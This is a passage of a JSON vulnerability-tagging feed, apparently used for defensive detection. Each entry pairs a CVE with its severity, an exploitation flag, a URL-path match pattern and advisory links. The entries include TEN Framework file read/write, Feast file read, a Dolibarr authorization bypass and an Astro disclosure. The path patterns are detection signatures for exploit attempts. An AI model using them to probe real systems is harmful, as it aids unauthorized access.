Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-10-15T04:41:05.464667+00:00"}